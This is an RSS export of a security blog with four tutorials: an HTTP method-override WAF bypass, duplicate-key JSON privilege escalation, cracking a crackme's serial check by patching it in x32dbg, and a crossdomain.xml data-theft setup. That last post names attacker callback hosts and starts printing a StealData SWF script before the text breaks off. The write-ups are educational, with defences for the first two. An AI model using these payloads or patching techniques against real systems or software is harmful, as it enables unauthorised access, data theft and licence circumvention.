<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pratik Dahal on Medium]]></title>
        <description><![CDATA[Stories by Pratik Dahal on Medium]]></description>
        <link>https://medium.com/@pratikdahal777?source=rss-d92a7acb6c29------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xnD0yXBZjZrzMYsJ9izBRQ.jpeg</url>
            <title>Stories by Pratik Dahal on Medium</title>
            <link>https://medium.com/@pratikdahal777?source=rss-d92a7acb6c29------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 23:25:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pratikdahal777/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ghost HTTP Methods: How HTTP Verb Mutation Bypasses Modern WAFs across Middleware Layers]]></title>
            <link>https://medium.com/@pratikdahal777/ghost-http-methods-how-http-verb-mutation-bypasses-modern-wafs-across-middleware-layers-32b66cd392ca?source=rss-d92a7acb6c29------2</link>
            <guid isPermaLink="false">https://medium.com/p/32b66cd392ca</guid>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[middleware]]></category>
            <dc:creator><![CDATA[Pratik Dahal]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 20:44:43 GMT</pubDate>
            <atom:updated>2025-10-29T20:44:43.788Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Most Web Application Firewalls (WAFs) and API Gateways proudly advertise <em>“method-based protection.”</em><br>They block destructive HTTP verbs such as DELETE, PUT, or PATCH from untrusted sources, believing this is enough to prevent harmful actions.</p><p>But what happens when the request morphs <strong>after</strong> the WAF check?<br>When your Edge WAF thinks it’s a harmless POST, but your backend rewrites it into a DELETE just a few milliseconds later?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SNmDayg_L2ue-jjQetI97A.png" /><figcaption>Fig:Attack Flow</figcaption></figure><h3>The Culprit: HTTP Method Override</h3><p>To support older browsers that couldn’t send methods other than GET or POST, many web frameworks introduced <em>Method Override</em>.<br> It allows clients to send an alternate verb using:</p><ul><li>a query parameter like _method=DELETE</li><li>or a header like X-HTTP-Method-Override: DELETE</li></ul><p>Example:</p><pre>POST /users/42?_method=DELETE HTTP/1.1<br>Host: example.com<br>Content-Type: application/json</pre><p>When this request reaches the application, middleware such as Express’s method-override, Rails’ Rack::MethodOverride, or Spring’s HiddenHttpMethodFilter <strong>mutates</strong> the request internally:</p><pre>Original: POST /users/42<br>After middleware: DELETE /users/42</pre><p>To the WAF sitting at the edge, this is a simple POST.<br>To the backend, it’s a destructive DELETE.</p><h3>The Core Problem</h3><p>This split in understanding between <strong>layers</strong> — the edge and the application — creates what we call a <strong>Ghost Method</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*BkpVylxtbCCBWz9kqlKW9w.png" /><figcaption>Fig: Issue</figcaption></figure><p>In a real-world breach, investigators may see only harmless POST requests in WAF logs, unaware that data deletion occurred inside the app.</p><h3>Real-World Presence</h3><p>Method override is <em>enabled by default</em> in several frameworks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*jmAG1hjxwvE14r37bAUcdw.png" /><figcaption>Fig: Technologies Affected</figcaption></figure><h3>Proof of Concept: Mutating Methods in Transit</h3><p>we have this simple POC server written in express js which uses middleware and lets users query to a simulated database only using GET and POST.</p><pre>// server.js <br>const express = require(&#39;express&#39;);<br>const app = express();<br><br>app.use(express.urlencoded({ extended: false }));<br>app.use(express.json());<br><br>// --- method override (manual, no dependency) ---<br>app.use((req, res, next) =&gt; {<br>  const fromBody = req.body &amp;&amp; req.body._method;<br>  const fromHeader = req.headers[&#39;x-http-method-override&#39;];<br>  const override = fromBody || fromHeader;<br>  if (override) req.method = String(override).toUpperCase();<br>  next();<br>});<br><br>// --- simulated (WAF) ---<br>app.use((req, res, next) =&gt; {<br>  req.originalMethod = req.method;<br>  if (req.method === &#39;DELETE&#39;) return res.status(405).send(&#39;WAF: DELETE blocked&#39;);<br>  next();<br>});<br><br>const USERS = new Map([[&#39;42&#39;, { id: &#39;42&#39;, name: &#39;alice&#39; }]]);<br><br>app.delete(&#39;/users/:id&#39;, (req, res) =&gt; {<br>  const existed = USERS.delete(req.params.id);<br>  res.json({ action: &#39;DELETE&#39;, existed, edgeMethod: req.originalMethod, appMethod: req.method });<br>});<br><br>app.get(&#39;/users/:id&#39;, (req, res) =&gt; res.json({ user: USERS.get(req.params.id) || null }));<br><br>app.listen(3000, () =&gt; console.log(&#39;Vuln on :3000&#39;));</pre><p>We have the server running on port 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*-IlmUhAwW81iGZI1AO2g3g.png" /><figcaption>Fig: Server Running</figcaption></figure><p>we can query for the user.</p><pre>curl -s http://localhost:3000/users/42 | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*KzzEsBD-rrYdcsjakgflpg.png" /><figcaption>Fig: User existence check</figcaption></figure><p>if we send DELETE as a HTTP method it gets blocked by the WAF.</p><pre>curl -s -X DELETE http://localhost:3000/users/42</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*wMdjGmHB6COl3pVkgQzYVA.png" /><figcaption>Fig: DELETE request blocked</figcaption></figure><p>but this can be bypassed via POST+override (edge sees POST, app deletes), it can either be done by appending _mutate=DELETE at the end of URL as _method parameter is part of a method override mechanism a design choice made decades ago for HTML forms.</p><p>Or we can simply add X-HTTP-Method-Override: DELETE header in the POST request which the application accepts</p><pre>curl -s -X POST &#39;http://localhost:3000/users/42?_method=DELETE&#39; | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*ylGYTQlWSCV29wfwoftleg.png" /><figcaption>Fig: Override using _method=DELETE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*W3KixsauIefrh5BxNHWzdQ.png" /><figcaption>Fig: Override using HTTP header</figcaption></figure><p>verifying user existence: we can see the user Alice got deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*9Vd99snvkVNrOwYV4DttmQ.png" /><figcaption>Fig: User Deleted</figcaption></figure><h3>Defensive Strategies</h3><h4>1. Disable Method Override for Public Endpoints</h4><p>If you don’t need it, remove it entirely.</p><pre>app.use(require(&#39;method-override&#39;)());</pre><h4>2. Strip Override Indicators at the Edge</h4><p>Configure WAF or reverse proxy to drop requests containing:</p><ul><li>_method=DELETE|PUT|PATCH</li><li>X-HTTP-Method-Override headers</li></ul><h4>3. Log Both Methods</h4><p>Always log both the <strong>original</strong> and <strong>effective</strong> HTTP methods:</p><pre>req.originalMethod // from edge<br>req.method         // after override</pre><p><strong>Conclusion </strong><br>HTTP method override is a legacy convenience that became a modern blind spot. When your edge and backend disagree on what a request truly is, security controls dissolve into illusion. Audit your frameworks, disable _method where possible, and make sure your WAF and application speak the same language—because a POST that behaves like a DELETE is not a feature; it’s a breach waiting to happen.</p><p><strong>THANKS</strong> for reading.. Do follow if you liked this article and follow for more :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32b66cd392ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Split-Brain JSON: Exploiting Parser Disagreement Across Validation Boundaries for Privilege…]]></title>
            <link>https://medium.com/@pratikdahal777/split-brain-json-exploiting-parser-disagreement-across-validation-boundaries-for-privilege-be3a038d8722?source=rss-d92a7acb6c29------2</link>
            <guid isPermaLink="false">https://medium.com/p/be3a038d8722</guid>
            <category><![CDATA[web-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Pratik Dahal]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 19:11:16 GMT</pubDate>
            <atom:updated>2025-10-08T09:00:24.835Z</atom:updated>
            <content:encoded><![CDATA[<h3>Split-Brain JSON: Exploiting Parser Disagreement Across Validation Boundaries for Privilege Escalation</h3><p>In distributed API architectures, input validation is often decoupled from business logic. Gateways, WAFs, and microservices each perform their own parsing of inbound data.</p><p>However, subtle inconsistencies between JSON parsers can create dangerous <em>parser differentials </em>where the same payload means different things to different components.</p><p>This post shows a reproducible example of such a differential, dubbed <strong>Split-Brain JSON</strong>, where duplicate-key handling inconsistencies lead to authorization bypasses and logic confusion between an API gateway and a backend service.</p><p>Attack Scenario:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BNo4wb0UjeX15v3pxNC2rw.png" /><figcaption>Fig: Scenario Mapping</figcaption></figure><h3>The Core Problem: Divergent JSON Semantics</h3><p>According to the JSON specification (RFC 8259, Section 4), <em>“The names within an object SHOULD be unique.”</em><br>Note: That language is advisory not enforced.</p><p>Most JSON parsers therefore tolerate duplicate keys and resolve them using one of three common policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*68PJePTkSMyQAjWq9qmbig.png" /><figcaption>Fig: RFC 8259 Section 4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*u46RozdmuyqgP4q1hltmlw.png" /><figcaption>Fig: JSON Key handling in different languages</figcaption></figure><p>When two layers disagree e.g., a gateway uses first-key semantics and a backend uses last-key semantics the same byte sequence represents two different logical realities.</p><h3>Demonstration: A Split-Brain API Architecture</h3><p>We model a simple two-tier setup:</p><ul><li><strong>Gateway (Port 5000):</strong> Validates incoming JSON with a <em>first-key-wins</em> parser.</li></ul><pre>from flask import Flask, request, jsonify<br>import json, requests<br><br>app = Flask(__name__)<br><br>def first_wins_object_pairs(pairs):<br>    out = {}<br>    for k, v in pairs:<br>        if k not in out:<br>            out[k] = v<br>    return out<br><br>@app.route(&quot;/submit&quot;, methods=[&quot;POST&quot;])<br>def submit():<br>    raw = request.data<br>    try:<br>        doc_first = json.loads(raw, object_pairs_hook=first_wins_object_pairs)<br>    except Exception as e:<br>        return jsonify({&quot;gateway&quot;:&quot;reject&quot;, &quot;reason&quot;: f&quot;parse error: {e}&quot;}), 400<br><br>    role_seen = doc_first.get(&quot;role&quot;)<br>    if role_seen != &quot;user&quot;:<br>        return jsonify({&quot;gateway&quot;:&quot;reject&quot;, &quot;reason&quot;: f&quot;invalid role (saw: {role_seen!r})&quot;}), 403<br><br>    resp = requests.post(&quot;http://127.0.0.1:5001/submit&quot;, data=raw, headers={&quot;Content-Type&quot;: &quot;application/json&quot;})<br>    return jsonify({&quot;gateway&quot;:&quot;accept&quot;,&quot;validation_view&quot;:{&quot;role&quot;: role_seen},&quot;backend_response&quot;: resp.json()})<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(port=5000, debug=False)</pre><ul><li><strong>Backend (Port 5001):</strong> Consumes the same raw body using the default Python json parser (last-key-wins).</li></ul><pre>from flask import Flask, request, jsonify<br>import json<br><br>app = Flask(__name__)<br><br>@app.route(&quot;/submit&quot;, methods=[&quot;POST&quot;])<br>def submit():<br>    raw = request.data<br>    try:<br>        doc = json.loads(raw)<br>    except Exception as e:<br>        return jsonify({&quot;backend&quot;:&quot;reject&quot;, &quot;reason&quot;: f&quot;parse error: {e}&quot;}), 400<br><br>    role = doc.get(&quot;role&quot;, &quot;user&quot;)<br>    decision = &quot;GRANT_ADMIN&quot; if role == &quot;admin&quot; else &quot;GRANT_USER&quot;<br><br>    return jsonify({&quot;backend&quot;:&quot;processed&quot;,&quot;role_interpreted&quot;: role,&quot;decision&quot;: decision,&quot;doc&quot;: doc})<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(port=5001, debug=False)</pre><p>The gateway forwards the <em>raw body</em> to the backend, as many API gateways do for performance or signature verification reasons.</p><h3>The Payload</h3><pre>{<br>  &quot;user&quot;: &quot;bob&quot;,<br>  &quot;role&quot;: &quot;user&quot;,<br>  &quot;role&quot;: &quot;admin&quot;<br>}</pre><h3>Expected Behavior</h3><ol><li>The gateway validates that &quot;role&quot; == &quot;user&quot;.</li><li>It approves the request and forwards the raw JSON body to the backend.</li><li>The backend parses the same JSON and overwrites the &quot;role&quot; field with the <em>last occurrence</em> (&quot;admin&quot;).</li><li>The backend grants admin privileges.</li></ol><h3>Result</h3><p>The same request simultaneously:</p><ul><li><strong>Passes validation</strong> at the gateway.</li><li><strong>Triggers privilege escalation</strong> at the backend.</li></ul><h3>Proof of Concept</h3><p>Gateway running on port 5000 (First-key-wins parser) and Backend on 5001 (Last key wins parser)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ActOyxOROTgYmf7sV3kMcA.png" /><figcaption>Fig: Gateway</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ZtlTNPGaWHEwaoqS6aBOA.png" /><figcaption>Fig: Backend</figcaption></figure><p>send payload using curl</p><pre>curl -s -X POST http://127.0.0.1:5000/submit \<br>     -H &#39;Content-Type: application/json&#39; \<br>     -d &#39;{&quot;user&quot;:&quot;bob&quot;,&quot;role&quot;:&quot;user&quot;,&quot;role&quot;:&quot;admin&quot;}&#39; | jq .</pre><p>Normal Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*vKiHLsVSTqzkIIIQzun21w.png" /></figure><p>Payload Embedded output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*I0WY2V0I7rPV-89GowUGIQ.png" /></figure><h3>Variants and Amplifications</h3><h4>1. Nested Duplicate Keys</h4><pre>{&quot;attrs&quot;: {&quot;role&quot;: &quot;user&quot;, &quot;role&quot;: &quot;admin&quot;}}</pre><p>Nested duplicates bypass validators that only check the top-level structure.</p><h4>2. Escaped Keys (Unicode Confusion)</h4><pre>{&quot;role&quot;: &quot;user&quot;, &quot;ro\u006ce&quot;: &quot;admin&quot;}</pre><p>Visually distinct, logically identical after decoding bypasses regex-based filters.</p><h3>Why This Matters</h3><ul><li><strong>Cloud API Gateways:</strong> AWS API Gateway, Kong, and Apigee all have differing parser behaviors.A misalignment between validation policies and backend logic can result in bypasses that survive every WAF layer.</li><li><strong>Web Application Firewalls:</strong> ModSecurity historically used json-c, which preserves first occurrence; backends in Node or Python often take the last occurrence.</li><li><strong>Auth Proxies:</strong> OAuth or RBAC enforcement at gateways may validate role, scopes, or permissions before forwarding, unaware that the backend interprets later duplicates differently.</li></ul><h3>Defensive Design Patterns</h3><ol><li><strong>Fail on Duplicate Keys</strong><br>Modify your parser or request validator to reject objects containing duplicates outright.</li></ol><pre>def reject_dupes(pairs):<br>    seen = set()<br>    for k, _ in pairs:<br>        if k in seen:<br>            raise ValueError(&quot;duplicate key&quot;)<br>        seen.add(k)<br>    return dict(pairs)</pre><p><strong>2. Parse Once, Validate Once</strong><br>The component that validates the request should also generate the canonical JSON body to be consumed by all downstream services.</p><p><strong>3. Use Canonical Serialization for Signing and Forwarding</strong><br>Always re-encode JSON (json.dumps() with strict separators) before signing, caching, or forwarding.</p><h3>Closing Thought</h3><p>Modern systems rely on consistent data interpretation more than perfect input filtering.<br>The next generation of security design must ensure <strong>semantic alignment </strong>not just sanitization.</p><p>The next time you validate a request, ask yourself this 😉.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be3a038d8722" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering GUI based applications to crack the serial key.]]></title>
            <link>https://medium.com/@pratikdahal777/reverse-engineering-gui-based-applications-to-crack-the-serial-key-b4f82fb7e29c?source=rss-d92a7acb6c29------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4f82fb7e29c</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[debugging]]></category>
            <category><![CDATA[cracking]]></category>
            <dc:creator><![CDATA[Pratik Dahal]]></dc:creator>
            <pubDate>Mon, 26 Sep 2022 16:49:55 GMT</pubDate>
            <atom:updated>2022-09-26T17:40:07.504Z</atom:updated>
            <content:encoded><![CDATA[<p>hello everyone, today we will reverse engineer an GUI based application to crack it’s serial key and then we later will be patching the application to give us access either we enter the right serial key or not</p><p>so this is the application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*Puh16X-fODpyInJGCXTuyA.png" /><figcaption>Windows Message Box asking for Serial Key</figcaption></figure><p>pretty straight forward it’s an windows message box which asks for an serial key and checks it if it’s correct or not and prints out an following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*fKqA5ZMtkB51sBczLIlCjg.png" /><figcaption>wrong serial key error message</figcaption></figure><p>so if we put an random serial key in the application it shows another message box with the wrong serial key message on it.</p><p>so let’s start tearing this application apart.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FPmv6m86yGQCjkLjmqx%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2FBritanniaOnEpix-begin-the-time-is-now-lets-Pmv6m86yGQCjkLjmqx&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2FPmv6m86yGQCjkLjmqx%2Fgiphy.gif%3Fcid%3D790b7611463cf8d0e3fba37d8443cd1fd858e9739fd77510%26rid%3Dgiphy.gif%26ct%3Dg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/43123aa8f43ac73ced732d6f0b653509/href">https://medium.com/media/43123aa8f43ac73ced732d6f0b653509/href</a></iframe><p>First we will load the PE(program executable) also known as EIC file in Detect it Easy(D.I.E) application to analyze it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*CnLd_cPhTstuS_DddBRgOQ.png" /><figcaption>analyzing using D.I.E</figcaption></figure><p>once the file is opened in D.I.E we can get some information about the PE file from it it’s stated in the filetype its an PE32 file which means when we will open this file in the debugger later we will have to open it using x32 debugger. and another thing we need to find the entrypoint of the application, to find the entrypoint just add imagebase or base address shown in the D.I.E with the entrypoint shown in the D.I.E.</p><p>before you load the file in debugger you have to configure certain things in your debugger.</p><p>go to options&gt;preferences and uncheck the TLS callbacks if its checked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*E_XEPF1FDeah8MaiI8CBgQ.png" /></figure><p>and go to exceptions section and add exceptions: 00000000-FFFFFFFF</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*TFezSaH6hnM57ZNjgv0B6A.png" /></figure><p>Opening the file in x32 debugger..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2g2fEW-KyrIjehUTj2EVog.png" /><figcaption>OS entry point</figcaption></figure><p>by default we are in the operating system entrypoint which is 775B7798 we can press F9 or run in the debugger to jump into the entrypoint of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bru40PF5Id-NngthA4xJFg.png" /><figcaption>the application’s entry point</figcaption></figure><p>if you have never used an debugger before don’t be intimidated with all the content you see right after opening it. the 1st column is RAM memory address, the second one is OPCODES section also known as the machine codre and the third column is the assembly code of the program attached to the debugger which is in human readable format. and the fourth column is the comment column where we can search for strings and stuffs.</p><p>Now, let’s talk about jumps as we can see in the third columns there are certain instructions starting with the letter “J” they are called the jump instructions JE,JLE,JMP,JNZ etc. these all are jump instructions which point to an different memory address and jump there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*XAOU8oOpxYurJwORVN-UoA.png" /></figure><p>we can see in the above image the jump is being taken from memory address 0x00401282 to 0x004012CD if i were to step over the call 0x00401282 it will jump to 0x004012CD ignoring all the memory addresses in middle of them that’s how the jump instruction works. we can confirm the jump by the red line in the second column and the message of “jump is taken” below.</p><p>how the program works is when we hit run it starts with the OS entrypoint and hitting run again it will run all the code in the assembly section until it’s over or it hits an breakpoint. talking about breakpoints we can set breakpoints by just double clicking on the section where you want to set the breakpoints.</p><p><strong>Crack the serial key using BP(Breakpoints) on strings:</strong></p><p>So, we know on running the application we are greeted with the wrong serial key message if we enter the wrong serial key so we can figure that there is some kind of operation going there which is comparing the right serial key with the wrong one to give us that dialogue box.</p><p>we can search for string references on x32dbg. right click&gt; search for&gt; current module&gt; string references and we are greeted with this section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nbbpmbNsZFqAo77PstHtyg.png" /></figure><p>now we can see all the strings there is to it in the application and have their following memory addresses. we can go to the particular address just by double clicking on it in this case its the error message of “wrong serial key” double click on it to go to that particular address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*TysNaZkiZQlr4tzCgh4Ygg.png" /></figure><p>Now we have jumped to the instructions where we can see both the “good message” and the “bad message” which is the error message. and we can also see that there is an jump being taken just before showing the good message but we can see there the values of eax register is being tested with something before the jmp instruction so looking a little up there the serial key is being compared before taking the jump to the error message and if the compared string matches we don’t take the jump and if it doesn’t it jumps right to the error message.</p><p>analyzing it closely,</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*O-zqnig63hftcL6ogmVQDA.png" /></figure><p>we can see before the string there its calling an windows function GetDlgItemTextA which is use to retrieves the title or text associated with a control in a dialog box typically which is entered by the user and it also seems to be a good point to add an breakpoint so let’s do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*8_b3BcTktO9ibS_MsIDLWA.png" /></figure><p>After adding the breakpoints if we start to step over the calls we can see that it starts matching the values of eax register which the user have entered with the serial key in ecx. by this way we have found out the serial key.</p><p>if we enter it manually it shows congrats message which is supposed to be the good message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ED5mvN3uMQbiIz-qqBaC4g.png" /></figure><p>Yaay.. we have now successfully got the serial key now we patch the application in a way that no matter what key you enter it will show the “good message” instead of the error.</p><p>typically what we should have been able to do it change the ZeroFlag from 0 to 1that way it wouldn’t make the jump to the bad message and moves to the below instructions but we encounter an error here while the “congrats” and the “well done” message were being pushed to the stack it was throwing some error while pusing the value of eax register which was supposed to be 0 but it was pushing FFFFFFFF which is not 0 to fix this we can do:</p><p>first we need to cancel out the jump using NOP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*iAe6NPw3VlrTgz_mZfCPbg.png" /></figure><p>as we select the keep size option we are told instruction smaller by 1 byte it is because the jump instructions is of 2 bytes but the nop instruction is of one byte so uncheck it and click OK.</p><p>now we have two NOP’s it means we have two free bytes to fix the value of eax. so let’s assemble the 1st NOP with mov instruction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*HqGtwqaU50hYgthXnHzc5w.png" /></figure><p>we could have deassemble it using mov eax,0 but the eax uses 4 bytes and we have only 2 bytes free as you can see there are only 2 nops there so what we can do is..</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*ij2XM9l9SluXXsi21jyBRw.png" /></figure><p>instead of using mov eax,0 we do mov al,0 though it says instruction is bigger by 1 byte it will be fine as we have 1 byte free in another nop.</p><p>Now we can patch the file..</p><p>and boom once the jump couldn’t take place to the bad message no matter what you enter in the application it just shows the good message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*aMePe2TuXQ-g5mu5vNecbg.png" /></figure><p><strong>Bypassing using xor assembly..</strong></p><p>sometimes the above method doesn’t work so instead what we can do is we can xor both the registers we need to write to fill it up with 0’s using `xor eax,eax`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*6CLiUTX4U0IR-sBz4Z6TgQ.png" /></figure><p>go to the jump instruction replace the jump with NOP and then re-assemble it like this andpatch the file and run it once again you can enter any serial key and bypass the error message. the difference between this and the above method is while we were using al we were replacing the last one byte of the registerwith 0 but using xor we replace the whole thing with 0’s.</p><p>So, this is how you crack GUI based applications. Hope you enjoyed my writeup!!</p><p>Thanks,</p><p><strong>Pratik Dahal</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4f82fb7e29c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Crossdomain.xml]]></title>
            <link>https://medium.com/@pratikdahal777/exploiting-crossdomain-xml-6be78f153e1b?source=rss-d92a7acb6c29------2</link>
            <guid isPermaLink="false">https://medium.com/p/6be78f153e1b</guid>
            <dc:creator><![CDATA[Pratik Dahal]]></dc:creator>
            <pubDate>Thu, 25 Jun 2020 14:28:10 GMT</pubDate>
            <atom:updated>2020-06-25T15:04:50.455Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Exploiting Crossdomain.xml</strong></p><p><em>It is a story from the past, but I decided to create short how-to exploit it with </em><a href="https://github.com/sethsec/crossdomain-exploitation-framework"><em>crossdomain-exploitation-framework</em></a></p><p><em>The time I found permissive crossdomain.xml file.</em></p><p>Okay it is a story of a time when i was hunting for bugs in the web application and the first thing to do when you approach a target is do a good recon of it. So i started <em>DIRBUSTER</em> to hunt for directories and idk why i had a feeling to search for XML and TXT files also that day and hence i did it. meanwhie i also ran <em>Sublist3r </em>on the main domain also to enumerate the subdomains associated with it as the main domain had a wildcard that means all the subdomains associated with the main domain is good to be tested..</p><p>meanwhile the dirbuster showed something interesting there it had found a directory named crossdomain.xml but seriously i had no idea what it was and what i did was simply googled it and after reading few blogs i understood what it was and how it can be exploited..</p><p><strong>What is Crossdomain.xml?</strong></p><p>Flash like Browsers enforces a same-origin policy to prevent external pages from requesting restricted resources. However, like browsers developers needed a way to relax this policy if required. To allow for this Adobe introduced <strong>Cross-domain Policy Files</strong> aka crossdomain.xml which is essentially the flash equivalent of <a href="https://www.youtube.com/watch?v=wgkj4ZgxI4c">CORS</a>.</p><p><strong>What does crossdomain.xml looks like?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*96O36VA8fN1L0Dag8Lwd2g.png" /></figure><p><strong>Working methodology of crossdomain.xml?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*1z4NJvOOqGE1f94iSAEpdg.png" /></figure><p><strong>How will you exploit it?</strong></p><p>At first i seriously had no idea on how to exploit it but as you know github has it all ;) i found an script from which i could exploit it at github…</p><p><a href="https://github.com/sethsec/crossdomain-exploitation-framework.git">https://github.com/sethsec/crossdomain-exploitation-framework.git</a></p><p>1) <strong><em>Download</em></strong></p><p><em>git clone </em><a href="https://github.com/sethsec/crossdomain-exploitation-framework.git"><em>https://github.com/sethsec/crossdomain-exploitation-framework.git</em></a></p><p>2)<strong><em>Run to check installation and dependencies</em></strong></p><p><em>./SWF-server</em></p><p><em>**************************************************</em><br><em>* *</em><br><em>* Welcome to SWF Server! *</em><br><em>* *</em><br><em>**************************************************</em></p><blockquote><strong><em>It looks like this is the first run. We need to set up a few things first.</em></strong></blockquote><p>[INSTALL] Creating /opt/flex…<br>[INSTALL] Downloading Flex (This is a 340MB file)…<br>[INSTALL] Downloading: http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip Bytes: 343973963<br>[INSTALL] Extracting Flex to /opt/flex (Takes 5–20 seconds)<br>[INSTALL] Creating a self-signed SSL cert…<br>[INSTALL] Key and Cert saved in /opt/crossdomain-exploitation-framework/server.pem<br>[INSTALL] Copying http-crossdomain.nse to nmap scripts directory…<br>cp: cannot create regular file ‘/usr/share/nmap/scripts/http-crossdomain.nse’: Permission denied<br>[INSTALL] Installation complete. Compile SWF and then start SWF-server again</p><p><strong>To create your own SWF file:</strong></p><p><strong><em>1) Chose a template from ./actionscript-templates<br> 2) Edit the template (or copy and then edit the template)<br> a) Specify a page on the vulnerable site that you want your victimn to access:<br> Ex: </em></strong><a href="http://vulnerable.com/account/settings"><strong><em>http://vulnerable.com/account/settings</em></strong></a><strong><em><br> b) For data stealing SWFs, specify your attacker callback URL:<br> Ex: http://attacker/, </em></strong><a href="https://192.168.0.100,/"><strong><em>https://192.168.0.100,</em></strong></a><strong><em> or </em></strong><a href="https://www.attacker.com/"><strong><em>https://www.attacker.com/</em></strong></a><strong><em><br> c) For CSRF SWFs, modify the actionscript to extract the information you need<br> 3) Compile the ActionScript file and drop the SWF to the ./webroot directory (exploit.swf)<br> a) /opt/flex/bin/mxmlc ./actionscript-templates/&lt;template&gt;.as — output ./webroot/exploit.swf</em></strong></p><p><strong><em>4) Re-run ./SWF-server</em></strong></p><p><strong>Lets use a link from our account settings and put it within StealData.as with putting the link to our controlled attacker site.</strong></p><pre><em>package {</em><br><em> import flash.display.Sprite;</em><br><em> import flash.events.*;</em><br><em> import flash.net.URLRequestMethod;</em><br><em> import flash.net.URLRequest;</em><br><em> import flash.net.URLLoader;</em></pre><pre><em>public class StealData extends Sprite {</em><br><em> public function StealData() {</em><br><em> // Target URL from where the data is to be retrieved</em><br><em> var readFrom:String = “</em><strong><em>http://victim.com/account/menu.php?action=settings</em></strong><em>”;</em><br><em> var readRequest:URLRequest = new URLRequest(readFrom);</em><br><em> var getLoader:URLLoader = new URLLoader();</em><br><em> getLoader.addEventListener(Event.COMPLETE, eventHandler);</em><br><em> try {</em><br><em> getLoader.load(readRequest);</em><br><em> } catch (error:Error) 